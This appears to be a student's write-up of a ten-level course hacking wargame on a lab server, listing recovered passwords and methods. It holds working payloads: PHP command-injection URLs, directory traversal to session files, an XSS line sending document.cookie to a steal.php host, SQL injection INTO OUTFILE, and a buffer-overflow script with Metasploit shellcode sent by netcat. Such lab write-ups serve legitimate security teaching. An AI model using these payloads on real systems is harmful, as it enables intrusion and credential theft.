Blade levels 1-10

1. Level 1
    a. username = script, password = kiddie
    b. I tried to use burp to see anything but that wasn't working. Somebody suggested I inspect the elements. I saw that there was a form that took in a username and password. These were being verified by a javascript function found in a folder called cgi-bin which was conveniently located in the sources of the elements.
2. Level 2
    a. contents = whatyousay
    b. I was stuck for a while and did some googling and came across good old command injections for php. I tried adding '….user.php?filter=;ls' to the url through burp and it showed me some files so I knew I was headed in the right direction. I tried to 'cat secretuser.txt' but it didn't work and I realized you had to use %20 for spaces in a url. So I finally did added '….user.php?filter=;cat%20secretuser.txt' and got the contents.
3. Level 3
    a. I was looking at lecture set 16, slide 14 and saw that you could use params to exploit user-input entry points. I used 'http://10.13.37.5/~level03/cgi-bin/petition.py?id=bar&id=bar2' and discovered that it caused the cgi-bin python script to crash and output the path to the actual file '/home/level03/public_html/cgi-bin/petition.py.' From there I was able to figure out how to submit comments to the petition.
    b. I looked at the script for the level and saw that it was creating another file that it used to sanitize input. After talking to Davis and Professor Black they told me there was a fatal flaw with the script. I opened it up in gdb and after awhile saw that if you gave it an input of "debug:" it would use popen to execute some commands. I practiced a few times and figured out how to get a command injection to work. I then encoded that command injection so it would work in html. I copied the signers.txt file to my home directory after changing permissions in that directory to allow world write and execute. I then changed permission of the file so I could look at it.
        i. Step 1: Change permissions on home dir
            1. chmod 703 rowe7280/
        ii. Step 2: Copy file to home directory
            1. http://10.13.37.5/~level03/cgi-bin/petition.py?first=b&last=b&email=debug%5c%3asigners.txt%5c%3bcp%20signers.txt%20%5c/home%5c/r%5c/rowe7280%5c/signers1.txt&comment=Remove+cp+from+UNIX+now%21&id=
        iii. Step 3: Change permissions of file
            1. http://10.13.37.5/~level03/cgi-bin/petition.py?first=b&last=b&email=debug%5c%3asigners.txt%5c%3bchmod%20777%20%5c/ho

me%5c/r%5c/rowe7280%5c/signers1.txt&comment=Remove+cp+from+UNIX+now%21&id=

iv. id0001337:Mitnick:Kevin:kevin@mitnick.com:I want to go back!

4. Level 4
    a. I looked at the it.php script in the /home/level04/public_html/cgi-bin/ directory. It opened a file from the current working directory and output the lines in the file. I had the idea to try a directory traversal and output the session ids found in /var/lib/php5. I saw one session id that was longer than the rest and figured that might be 'zanardi's' session. When I outputted the id that was indeed the case and it gave me the username and password he used.
    b. The final arguments to the parameters of the final form for level04
        i. filename=../../../../var/lib/php5/sess_t8g13q7cgt681vo97e95igt6n4&readmode=yes&nonce=511077754
        ii. Output of the session id: username|s:7:"zanardi";password|s:11:"allyourbase";nonce|i:893397759
5. Level 5
    a. I looked at the page elements and saw that there was an html form backed by a python script. I looked at the script on blade and saw that there was a hidden param called ‘admin.’ If you set it and had the right cookie it would print out the contents of the password file of the user. I had to get rid of the php session id in the cookie and put instead ‘Cookie: user=zanardi’ as per the python http cookie web page's specifications. When I sent this edited request to the webserver I got back the password: ubersecurity.
6. Level 6
    a. TheAgentIsTheKey!
    b. I saw that the php script was using include which can be used to display the contents of file on the server side. In the user-agent field found on burp I put the file 's3cr37.pwd' and the server display it for me.
    c. User-agent: s3cr37.pwd
7. Level 7
    a. auth=admin:YouAreSooooLeet
    b. I created a directory called ‘public_html’ in my home directory. I put the steal.php script from moxie into that directory and changed the permission on my home directory to let var-www have access to it.
    c. I was able to get a popup with the document cookie by using:
        i. <script>alert(document.cookie);</script>
    d. I was then able to get the cookie to write to a file in temp with the script below but it also changed where the html pointed to.
        i. <Script>location.href="http://blade/~rowe7280/steal.php?pwd="+document.cookie;</Script>
8. Level 8
    a. admin ThisIsAnInjection Massimo Zanardi zanardi@shellphish.net 27acb925647fe1d7aaeb648463bbc3dd

b. After messing around with the form fields with input from the slides I found that on the new user page you can cause an error with the ‘username’ field which shows you how the database is being queried. I saw that is was doing ‘SELECT * FROM users WHERE username=.’ If you put admin in for the username it says that there is already a user called admin. Knowing a little bit of sql, I blindly guessed I could get it to output all of the attributes of the user into a file I then used the below string in the ‘username’ field and got all of the attributes of the username admin in a file in the /tmp directory.
    i. admin' INTO OUTFILE '/tmp/sql.txt

9. Level 9
    a. shellphish:epicfail
    b. printf "GET /~level09/cgi-bin/parse?u=$(python ./test.py) HTTP/1.1\nHost: blade\n\n" | nc 10.13.37.5 80
    c. I used metasploit to get some byte code to chmod the old log. I used netcat to send it to the server.

test.py => chmod 0600

```
#!/user/bin/python
 sc = \
 "\x33\xc9\x83\xe9\xf7\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+\
 "\x1f\xb0\xc6\x07\x83\xee\xfc\xe2\xf4\x86\xda\xc9\x5f\x4d\x58"+\
 "\xcd\x07\x1f\xb0\xa9\x6b\x7b\xdc\xa9\x60\x31\xc4\xbe\x73\x1f"+\
 "\xeb\xae\x87\x1e\xb0\xc6\x5e\xd2\x30\xac\x06\x47\x7d\x46\x07"
 print 7*"\xf6\xfd\xff\xbf"+"\x90"*(1024-len(sc))+sc+"&";
```

10. Level 10
    a. KillTheGhost
    b. EatThePills
    c. I used a java decompiler to get the source code. I then made a java file with the decrstring function and decrypted the strings found in the source and outputted them on the command line.